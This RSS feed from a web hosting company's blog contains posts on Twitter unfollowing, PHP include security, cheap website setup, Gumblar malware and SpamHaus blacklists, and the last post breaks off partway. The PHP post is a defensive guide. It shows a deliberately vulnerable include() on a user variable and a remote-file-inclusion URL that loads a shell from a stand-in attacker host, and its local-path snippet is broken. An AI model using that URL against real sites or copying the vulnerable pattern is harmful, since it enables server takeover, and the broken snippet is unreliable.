<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>HostNexus Blog</title>
	<atom:link href="http://www.hostnexus.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hostnexus.com/blog</link>
	<description>Status Updates, Rants, Musings and Real Advice for Webmasters</description>
	<lastBuildDate>Thu, 02 Sep 2010 05:16:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>How To Bulk Unfollow On Twitter in Minutes</title>
		<link>http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/</link>
		<comments>http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 11:52:03 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=492</guid>
		<description><![CDATA[I haven&#8217;t &#8220;tweeted&#8221; for a long time. I joined Twitter on the general bandwagon last year, downloaded and installed Twitter Karma but that got real old after about 100 clicks. I then start hitting checkboxes on Tweepi and Untweeps but another 150 clicks later my right index finger started to cramp up in a death [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/">How To Bulk Unfollow On Twitter in Minutes</a></p>
]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.hostnexus.com/blog/wp-content/uploads/2010/07/no-tweeps.jpg" alt="" title="no-tweeps" width="196" height="196" class="alignright size-full wp-image-498" />
<p>I haven&#8217;t &#8220;tweeted&#8221; for a long time.  I joined Twitter on the general bandwagon last year, downloaded and installed <a href=http://www.tweetdeck.com/">TweetDeck</a> &#8211; and pretty much forgot about it.  I did turn on Auto-Follow via <a href="https://www.socialoomph.com/">SocialOomph</a> though.  So a year later I have 3,000 followers and maybe 50 are HostNexus clients and people I know.  So 2,950 people have followed me for the sole reason of spamming me with links to their sites.  They don&#8217;t care what I say because, well, I say very little.  If I&#8217;m ever going to really use Twitter I need to follow only those I have a general interest in following and that is people I choose to follow and any past, present or prospective clients of HostNexus. </p>
<p>So today I went on a mission to purge my Twitter account.</p>
<p>As most people in Twitterdom know, there are thousands of apps that help you manage your Twitter account, so I thought that mass unfollowing on Twitter was going to be pretty simple.  I tried several tools but all either had no Bulk Unfollow option or no Select All option.  I started hitting Unfollow on people on <a href=http://dossy.org/twitter/karma/">Twitter Karma</a> but that got real old after about 100 clicks.  I then start hitting checkboxes on <a href="http://tweepi.com/">Tweepi</a> and <a href="http://www.untweeps.com/">Untweeps</a> but another 150 clicks later my right index finger started to cramp up in a death grip from hell.  But both Tweepi and Untweeps do not list all your followers so it was kind of pointless anyhow.  I then found <a href="http://manageflitter.com">ManageFlitter</a> which listed all your followers in pages of 100 with checkboxes, but of course no Select All option.</p>
<p>I did some digging and found out that Twitter had put their foot down on Mass Unfollowing in April of this year (2010).  All applications either had to remove Bulk Unfollow options or the Select All option to continue to operate within Twitter&#8217;s update TOS.  Pretty ridiculous.  I can understand enforcing a Bulk Unfollow option but telling developers to remove a &#8220;Select All&#8221; option?  Very weird.  But it got me thinking.  The Select All thing is just a JavaScript call and happens in your browser so surely there should be a nifty little FireFox plugin that allows me to Select All?<br />
<span id="more-492"></span>
</p>
<p>Yes!  There is. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>A plugin is available for FireFox 3.0 called <a href="https://addons.mozilla.org/en-US/firefox/addon/2708/">Check All</a> but it doesn&#8217;t work in FireFox 3.6 that I&#8217;m currently using.  After another plugin search I found an experimental plugin which is an updated version of Check All and you can find it <a href="https://addons.mozilla.org/en-US/firefox/addon/46872/">here</a>.  There is another one <a href="https://addons.mozilla.org/en-US/firefox/addon/2393/">here</a> (thanks backy).  Mozilla will give you all types of warnings about the first plugin, saying it hasn&#8217;t been verified and that your computer might grow legs and jump out the window if you install it.  It works just fine.  Install it.  Restart FireFox, rawr.</p>
</p>
<p>Next go to <a href="http://manageflitter.com">ManageFlitter</a> and login via Twitter Oauth.  Click &#8220;Show All&#8221; and you&#8217;ll be presented with a list of your followers in pages of 100 with a checkbox next to each and an Unfollow button on the left.  Hit Ctrl+A (Select All, yes baby), right click on a highlighted area and you&#8217;ll see the new plugin option &#8220;Check All Selected Checkboxes&#8221;, click Unfollow.</p>
<p>Unfollowing 100 people on Twitter in one go is a beautiful thing to behold. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Click Next, Ctrl+A, Right Click, Select All Checkboxes, Unfollow.  Boom, another 100 Tweeps bite the dust.  Rinse and repeat.  I got it down to 5 seconds per page, that&#8217;s a 1,000 in under a minute.  Bye Tweeps.</p>
<p><center><img src="http://www.hostnexus.com/blog/wp-content/uploads/2010/07/bye-tweeps.png" alt="" title="bye-tweeps" width="183" height="158" class="aligncenter size-full wp-image-493" /></center></p>
<p>P.S. If you&#8217;re one of the 12 invisible people I&#8217;m still following&#8230;.my hat goes off to you for evading the purge.</p>
<p>P.P.S. Damn, those Unfollow programs are quick.  600 people auto-unfollowed me already!.  I&#8217;m crushed. :p </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/">How To Bulk Unfollow On Twitter in Minutes</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/how-to-bulk-unfollow-on-twitter/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>PHP Security and YOU &#8211; Including files the right way</title>
		<link>http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/</link>
		<comments>http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 08:52:50 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=483</guid>
		<description><![CDATA[As a web host we fight the battle against hackers and bad code on a daily basis. So HostNexus is looking to encourage clients to use file inclusion within PHP in a more security conscious and safe manner. Including files with PHP is a common practice and most usage comes in 2 forms. These are [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/">PHP Security and YOU &#8211; Including files the right way</a></p>
]]></description>
			<content:encoded><![CDATA[<p>As a web host we fight the battle against hackers and bad code on a daily basis.  So HostNexus is looking to encourage clients to use file inclusion within PHP in a more security conscious and safe manner.</p>
<p>Including files with PHP is a common practice and most usage comes in 2 forms.  These are including internal files from your own domain and including files from remote (external) sources.   This looks something like:</p>
<p>Internal:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
   <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://www.myowndomain.com/something.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>External:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
   <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://www.externaldomain.com/something.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Both are valid syntax in the PHP world but there are two main problems we see on the servers.  Sometimes when you include a file using the the URL of your local domain you can cause a PHP loop that initiates endless HTTP requests which causes server load issues and even a server crash due to the load.  If you want to include files from your local domain you just need to use the server path instead:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
   <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/home/httpd/vhosts/myowndomain.com/httpdocs/something.txt'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>And now onto using include() for calling external files:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
   <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://www.externaldomain.com/something.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The main problem with include() is that runs everything through the PHP parser and evaluates code.  The main problem comes from setting a variable for include() which can be easily exploited.  Here is an example of code in an index.php:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;html&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;  &lt;body&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$go</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;  &lt;/body&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The $go variable above is easily exploited like:</p>
<p>http://myowndomain.com/index.php?go=http://www.hackerdomain.com/shell.txt</p>
<p>The hacker can now execute commands on your files, installing phishing sites, sending spam and stealing data.</p>
<p>If you want to include files from remote domains use PHP&#8217;s readfile() function instead:</p>
<p><a href="http://www.php.net/manual/en/function.readfile.php">http://www.php.net/manual/en/function.readfile.php</a></p>
<p>While not 100% secure it still provides more protection as readfile() simply outputs data to a browser rather than parsing everything as PHP.</p>
<p>We&#8217;d love to enforce the two practices above but we also understand not everyone is happy modifying code.  However, if you know you use includes and have even a simple understanding of these fuctions then please do revisit your code and help yourself to secure your data and server.</p>
<p>Laurence </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/">PHP Security and YOU &#8211; Including files the right way</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/php-security-and-you-including-files-the-right-way/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience</title>
		<link>http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/</link>
		<comments>http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 07:42:10 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=464</guid>
		<description><![CDATA[The main hurdles most people face when thinking about getting a decent website up is that it is too expensive and/or requires certain nerdy technical skills such as graphic design or some kind of coding skills. And quotes from web design firms of $500 to $50,000 definitely serve to discourage many from developing an online [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/">How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience</a></p>
]]></description>
			<content:encoded><![CDATA[<p>The main hurdles most people face when thinking about getting a decent website up is that it is too expensive and/or requires certain nerdy technical skills such as graphic design or some kind of coding skills.  And quotes from web design firms of $500 to $50,000 definitely serve to discourage many from developing an online corporate presence or even putting up a personal website.</p>
<p>Ten or even five years ago putting up a website was expensive and took time.  But times have changed and time, money and skills (or lack thereof) are no longer obstacles would-be webmasters have to deal with.  If you&#8217;ve ever thought about getting a nice website online but have always dreaded the task, here are my 7 Steps To Get Online.</p>
<p><span id="more-464"></span></p>
<h2>1) Register Your Domain Name</h2>
<p>This is always the starting point for any new website project.  Your website will need a name so register domain.  This will be less than $15 for teh year.  HostNexus, for example, sells .com domains for $12.95/yr from our registry site <a href="http://nexusdomains.net">NexusDomains</a>.  Unless you are looking for a specific country TLD such as .com.au or .co.uk then I always recommend you try and get the .com AND the .net.  Usually if a .com is registered and in use I would not register the .net to ensure against brand dilution but there are always exceptions (such as our NexusDomains on a .net).</p>
<h2>2) Get Some Simple Web Hosting</h2>
<p>We&#8217;ll be using WordPress and this works best on Linux Hosting.  So before you start find a <a href="http://www.hostnexus.com">Cheap Hosting</a> plan such as our entry level <a href="http://www.hostnexus.com/solutions/linux-hosting.php">nexusONE</a> plan.  This will be your first expense and will cost you less than $50 for the year.  You could even cut down costs more and get hosting on a monthly plan but the yearly costs will usually end up being more (such as $7.95/mo).</p>
<h2>2) Install WordPress</h2>
<p>WordPress is the de-facto blogging software these days but it is much more than a blog.  WordPress has evolved into a full-blown Content Management System (CMS) and the possibilities with it are endless.  Installing it is incredibly simply and mosts (including HostNexus) provide an auto-installer for many popular programs including WordPress.  If you have issues with the install your hosting company will certainly assist you (if not, well you should be with HN of course).</p>
<h2>3) Find And Install A WordPress Theme</h2>
</p>
<p>This is where the fun starts.  A WordPress theme these days is much more than a simple skin for WordPress.  The theme will control a lot of your site&#8217;s functionality as WordPress developers include many custom scripts and programs with their themes.  The best place on the internet for WordPress themes is undoubtedly <a href="http://www.themeforest.com">ThemeForest</a>.  There are literally hundreds of amazing themes there and more are added almost daily.  ThemeForest is a place where developers showcase their work so there are many developers and most provide good support in Q&#038;A threads on their showcase pages.  I have personally bought 3 themes there for personal project and recommend it highly.  Themes vary in price with $35 being the most expensive so not very expensive at all.</p>
<p>Theme install comprises of uploading the theme folder and activating it in the WordPress admin panel.  Easy stuff that we love. </p>
<p>So to recap we have $12.95 for a domain name, less than $47.40 for hosting and $35 max for a theme.  We are at under $100 and a few hours into our project.</p>
<h2>4) Find A Logo Designer</h2>
<p>Having a great logo is essential for all corporate sites and recommended even for personal sites.  You could spend literally hundreds of dollars on a logo for your site but that is just not necessary.  When I start up a new site I normally hire 3 different logo designers so I many concepts to choose from.  Last year I hired 4 logo designers for a project ranging from $20 to $200 per designer.  And believe it or not I ended up choosing a logo developed for $29.  Here are a few designers I&#8217;ve worked with and all cost less than $30:</p>
<ul>
<li><a href="http://www.19dollarlogos.com">19dollarlogos.com</a></li>
<li><a href="http://www.iigfx.net">iigfx.net</a></li>
<li><a href="http://www.20dollarlogo.com">20dollarlogo.com</a></li>
<li><a href="http://www.logonerds.com">logonerds.com</a></li>
</ul>
<p>Find a designer that will include at least 2 different concepts.  For best results hire 2 different designers so you get at least 4 fresh concepts.</p>
<h2>5) Find A WordPress Designer</h2>
<p>So you have your domain, hosting, installed WordPress, purchased a great theme and you have a nice logo.   However, it is unlikely that your theme will be exactly the way you want it.  You may want to change a colour here, put an image there, add a button over there, customise the styling on this or that page.  As you play around with your WordPress install and upload content you&#8217;ll start to formulate a list of things that you want to change.  And it&#8217;s always a good idea to change your theme a bit so that your design is unique as it&#8217;s likely that 50 or 100 other sites might be using the same theme.  So the final step is to find a designer that will do all of your modifications.  I usually find designers on <a href-"http://www.forum.digitalpoint.com</a>.  Post a thread in the Buy/Sell > Services > Design forum and wait for offers.  Generally you can get small WordPress theme modifications done for around $50.  Select your provider carefully!  Choose a designer with an established website with portfolio and lots of positive feedback as there are a few unsavoury and unreliable people haunting the forum.  Arrange to pay half in advance and half on completion of the job.  Payment is always by PayPal.</a></p>
<h2>6) Publish Your Content</h2>
<p>You can start plugging in your content as soon as you&#8217;ve installed WordPress and can continue while designers work on your logo and WordPress modifications.  Publish your pages and articles and you&#8217;re done!</p>
<p>And there you have it.  A professional, great looking website complete with logo online in less than a week and less than a $199.  So what&#8217;s stopping you?  Get out there and start building your online presence.  Who knows where it will lead you. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/">How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/how-to-get-a-professional-website-online-within-one-week-for-less-than-199-and-no-design-experience/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gumblar &#8211; How To Avoid Getting Hacked</title>
		<link>http://www.hostnexus.com/blog/gumblar-how-to-avoid-getting-hacked/</link>
		<comments>http://www.hostnexus.com/blog/gumblar-how-to-avoid-getting-hacked/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 14:37:13 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Hosting]]></category>
		<category><![CDATA[Anti-Virus]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[Gumblar]]></category>
		<category><![CDATA[Virus]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=368</guid>
		<description><![CDATA[2009 is The Year Of The Gumblar. You might not know the name but I&#8217;m sure you&#8217;ve experienced it either directly (hopefully not) or indirectly. Have you ever been surfing and come across a page with a big red sign warning against you entering the site? If you have then it&#8217;s a good chance that [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/gumblar-how-to-avoid-getting-hacked/">Gumblar &#8211; How To Avoid Getting Hacked</a></p>
]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.hostnexus.com/blog/wp-content/uploads/2009/10/attack_site.gif" alt="attack_site" title="attack_site" width="620" height="302" class="aligncenter size-full wp-image-367" /></p>
<p>2009 is The Year Of The Gumblar.  You might not know the name but I&#8217;m sure you&#8217;ve experienced it either directly (hopefully not) or indirectly.  Have you ever been surfing and come across a page with a big red sign warning against you entering the site?  If you have then it&#8217;s a good chance that site was hit with Gumblar or one its variants like Nine Ball, Martuz or a host of other weird and wonderful names.  If you run a successful online business can you imagine the damage such an attack could do?  I actually got hit with it on a personal site I just use for storing photos.  But when I thought of the damage it would have done if it had hit HostNexus&#8230;&#8230;it certainly got my attention.</p>
<p>So what is Gumblar and how does it work?  These are things EVERY webmaster MUST know!  The original Gumblar used a vulnerability in Adobe Acrobat and Flash player but subsequent variants use other exploitable software but all have the same end result.  I won&#8217;t go into the <a href="http://malware-web-threats.blogspot.com/2009/04/black-hat-seo-and-rogue-antivirus-p5.html">technicalities</a> of how your computer gets infected but you need to know what it does.  Once infected it listens in on any FTP connections and steals the connection information.  Usually within minutes the virus uses your FTP account to modify files and insert some nasty code.  This code is normally an iframe, javascript or some other code that triggers a malware download from another computer.</p>
<p>The virus will sometimes modify PHP code and insert phpshell scripts which in turn attempt to install the malware that other infected sites connect to to trigger malware downmloads to unsuspecting site visitors.  This is a three-pronged nightmare that just grows exponentially.  From local computer to FTP account to server infection and the wheel keeps on turning.  So what&#8217;s the defence?</p>
<p>The virus three-pronged and therefore everyone needs to cover as many of these vulnerabilities as posible.</p>
<p><strong>1) Your Computer</strong> &#8211; a decent &#8220;On-Access&#8221; anti-virus program is all you need.  When I got infected I was running a cheap AV program that wasn&#8217;t On-Access.  This simply means the AV program automatically scans anything that is downloaded to your computer or any file that you open on your computer.  If your anti-virus just gives you a daily scan you are NOT protected.  You could get infected, download some nasty stuff to your computer and proliferate the virus before you even get to your daily scan.</p>
<p><strong>2) FTP over SSL.</strong>  If you are on a linux server simply choose a connection option in your FTP program that is encrypted or just says &#8220;SSL&#8221;.  All of our shared servers should have this working.  If you find it doesn&#8217;t please contact Support and we will fix it!  With this option your connection info is sent encrypted and not in plain text and the virus cannot sniff it out.  We would love to implement this by default (forcing people to use it) but even though we could post about it in a newsletter, on a mail list, on our blog and on our forum we will still get hundreds of tickets asking via their FTP doesn&#8217;t work.  As awareness grows maybe we will implement slowly.</p>
<p>If you have a dedicated server and would like FTP over SSL activated please contact <a href="http://www.hostnexus.com/support/">Support</a>.</p>
<p>Bad news for Windows clients on this front.  Our Windows servers don&#8217;t currently support FTP over SSL as this is a feature included in the newer Windows 2008 OS with IIS7.  It&#8217;s a huge change and one that we aren&#8217;t quite ready for.  But you can still install a decent Anti-Virus program. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>3) Server Infection</strong> &#8211; this is one area where Windows servers aren&#8217;t as vulnerable.  The virus uses PHP which needs to be running as a global user such as Apache.  PHP on Windows has run under a user&#8217;s FTP username as CGI for ages so even if files get infected the virus cannot break out of the user&#8217;s home directory.  On linux though PHP has ran as Apache for aeons and it&#8217;s only with later versions of Plesk that we now have the option to run PHP as CGI or FastCGI.  So if you&#8217;re on Plesk 9 I encourage you to switch PHP to a Fast CGI application under Web Host Settings for the domain.  Some scripts can break with it so if you are not sure please don&#8217;t hesitate to contact support and we will advise you.  Scripts tend to run faster under Fast CGI too so you are in fact doing yourself a service. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>This year we&#8217;ve been dealing with Gumblar related issues almost on a weekly basis.  It is very hard to convince someone that the server hasn&#8217;t been hacked when their website is showing the Reported Attack Site page.  In these cases the issue almost always lies with the user&#8217;s computer being infected.</p>
<p>But we have also had cases where the virus has spread through Apache-owned PHP files causing malicious downloads and random page redirects to search results containing a list of infected sites.  We can always track down the source but it is very frustrating for us as hosts and our users.  In this case a solution would be force every domain using PHP to run as Fast CGI but as with the FTP solution there would be even more fallout.  So it&#8217;s a balancing tightrope act with a bit of a dodgy safety net.  All we can do as hosts is raise our own community&#8217;s awareness of this problem that doesn&#8217;t seem to be going away any time soon and hope that in the future we can implement more stricter safeguards against this menace.</p>
<p>I just posted this on our blog so feel free to comment there.  If you&#8217;d prefer to discuss any of this in our <a href="http://www.hostnexus.com/forum/">forum</a> that would also be most welcome.</p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/gumblar-how-to-avoid-getting-hacked/">Gumblar &#8211; How To Avoid Getting Hacked</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/gumblar-how-to-avoid-getting-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The zen of SpamHaus</title>
		<link>http://www.hostnexus.com/blog/the-zen-of-spamhaus/</link>
		<comments>http://www.hostnexus.com/blog/the-zen-of-spamhaus/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 10:50:21 +0000</pubDate>
		<dc:creator>Laurence (aka NexDog)</dc:creator>
				<category><![CDATA[Web Hosting]]></category>

		<guid isPermaLink="false">http://www.hostnexus.com/blog/?p=338</guid>
		<description><![CDATA[(Somewhat long but scroll to the bottom for the important parts if pressed for time) How would like to reduce the amount of spam coming into your mailbox by 90%? Yes&#8230;..90%. It can be done and it can be done very easily but for many the price might be too high.  See, the fight against [...]<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/the-zen-of-spamhaus/">The zen of SpamHaus</a></p>
]]></description>
			<content:encoded><![CDATA[<p>(Somewhat long but scroll to the bottom for the important parts if pressed for time)</p>
<p><img class="alignleft2 size-full wp-image-339" title="nospam" src="http://www.hostnexus.com/blog/wp-content/uploads/2009/09/nospam.gif" alt="nospam" width="300" height="300" /></p>
<p>How would like to reduce the amount of spam coming into your mailbox by 90%?</p>
<p><strong>Yes&#8230;..90%.</strong></p>
<p>It can be done and it can be done very easily but for many the price might be too high.  See, the fight against spam is kind of a catch 22.  There is no solution out there that, even if it works great, won&#8217;t aggravate some users.  For web hosts this is particularly painful.  A host&#8217;s client base often demands less spam but in my experience they are unwilling to pay the price.  This is why most hosts just let the email flow and give their clients end-user tools with which to fight spam &#8211; and on the whole it works well.  By using SpamAssassin and some filters I generally don&#8217;t see much spam in my inbox.  On average maybe 5-10 per day.  The rest gets tagged and filtered.  I can certainly live with that &#8211; but some people can&#8217;t.<br />
<span id="more-338"></span><br />
So what other options are available to us as a <a href="http://www.hostnexus.com/">web hosting provider</a>?  The most popular option is to use Blacklists.  These are lists generated and maintained by external providers.  We can set our servers to check mails against these lists and if they are listed we reject the mail.  The most popular list is <a href="http://www.spamcop.net/">SpamCop</a> which I&#8217;m sure almost everyone has heard of.  There are literally hundreds of lists out there.  Some are public, some are private, some are good and some are terrible.  There are some lists that if you get on it you simply can&#8217;t get removed or have to pay to be removed.  These are the bad ones but relays like SpamCop are good as you can delist and on some if your server doesn&#8217;t send anymore spam the entry can automatically delist.  SpamCop works like this and it works well but it is far from perfect.  Even with SpamCop your server can accept alot of spam.</p>
<p><img src="http://www.hostnexus.com/blog/wp-content/uploads/2009/09/logo_spamhaus.jpg" alt="logo_spamhaus" title="logo_spamhaus" width="170" height="126" class="alignright2 size-full wp-image-350" /></p>
<p>Another great Blacklist is <a href="http://www.spamhaus.org/">SpamHaus</a> and we have this deployed on all servers.  However, there are different levels of spam protection that are offered by SpamHaus:</p>
<p><strong>1) The Spamhaus Block List &#8211; sbl.spamhaus.org.</strong></p>
<p>In their own words:</p>
<blockquote><p>The SBL is a realtime database of IP addresses of verified spam sources and spam operations (including spammers, spam gangs and spam support services), maintained by the Spamhaus Project team and supplied as a free service to help email administrators better manage incoming email streams.</p></blockquote>
<p><strong>2) The Exploits Block List &#8211; xbl.spamhaus.org.</strong></p>
<p>To quote:</p>
<blockquote><p>The Spamhaus Exploits Block List (XBL) is a realtime database of IP addresses of hijacked PCs infected by illegal 3rd party exploits, including open proxies (HTTP, socks, AnalogX, wingate, etc), worms/viruses with built-in spam engines, and other types of trojan-horse exploits.</p></blockquote>
<p>It&#8217;s basically a list that incorporates two other RBLs &#8211; cbl.abuseat.org and www.njabl.org.</p>
<p>We use both of these as standard and query SpamHaus using sbl-xbl.spamhaus.org.</p>
<p><strong>3) The Policy Block List &#8211; pbl.spamhaus.org.</strong></p>
<p>This is what sets SpamHaus apart from all the other RBLs.  To quote <a href="http://www.spamhaus.org/pbl/index.lasso">their site</a>:</p>
<blockquote><p>The Spamhaus PBL is a DNSBL database of end-user IP address ranges which should not be delivering unauthenticated SMTP email to any Internet mail server except those provided for specifically by an ISP for that customer&#8217;s use. The PBL helps networks enforce their Acceptable Use Policy for dynamic and non-MTA customer IP ranges.</p></blockquote>
<p>If you use all 3 Blacklists that is then zen.spamhaus.org.  We put zen.spamhaus.org on some servers a few weeks ago but right away we got complaints from users who couldn&#8217;t send mail because their ISP was listed in pbl.spamhaus.org.  Remember that most spam on the net doesn&#8217;t come from servers like we run but it comes from viruses on people&#8217;s computers that send spam via Outlook unbeknownst to the infected user.  So yes, many ISP IPs are listed and for good reason &#8211; 95% of all spam originates from sources like this.</p>
<p>So we removed zen.spamhaus.org and kept sbl-xbl.spamhaus.org.  I thought it best that all users at HostNexus get involved and we have a community discussion before implementing it again.  But remember, even if you find you can&#8217;t send mail due to being listed by zen all you need do is follow the link in the bounced mail failure and delist your IP &#8211; it is really simple.  To quote SpamHaus again:</p>
<blockquote><p><strong>IP Address Self-Service Removal Mechanism</strong></p>
<p>A feature of the PBL is the elimination of &#8216;false positives&#8217; with a server-identifying and automatic removal mechanism for single IP addresses. This allows end users with static IP addresses within a larger dynamic pool, and legitimate mail server operators, to assert that in their opinion their IP addresses are a trustworthy source of email and to automatically remove (suppress) their IP addresses from the PBL database. Safeguards are built in to prevent abuse of this facility by spammers (and particularly by automated bots).</p></blockquote>
<p>I fully tested zen.spamhaus.org on our server and these are the resuts average over 3 mail accounts in a 24 hour period:</p>
<ul>
<strong></p>
<li>No SpamHaus (only SpamCop): 165 spam tagged/10 spam untagged</li>
<li>With sbl-xbl.spamhaus.org: 105 spam tagged/7 spam untagged</li>
<p>(drumroll)</p>
<p></p>
<li>With zen.spamhaus.org: 10 spam tagged/1 spam untagged</li>
<p></strong>
</ul>
<p>You have to admit, that is pretty awesome. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>But lets recap the downsides if we implement Zen:</p>
<p>1) Some people might have issues sending you mail.  If they are savvy enough they can click the link in the bounced mail and delist quickly but alot of people are not going to do that.  Some might contact their host or ISP to get it resolved.  Some just might not send that email.</p>
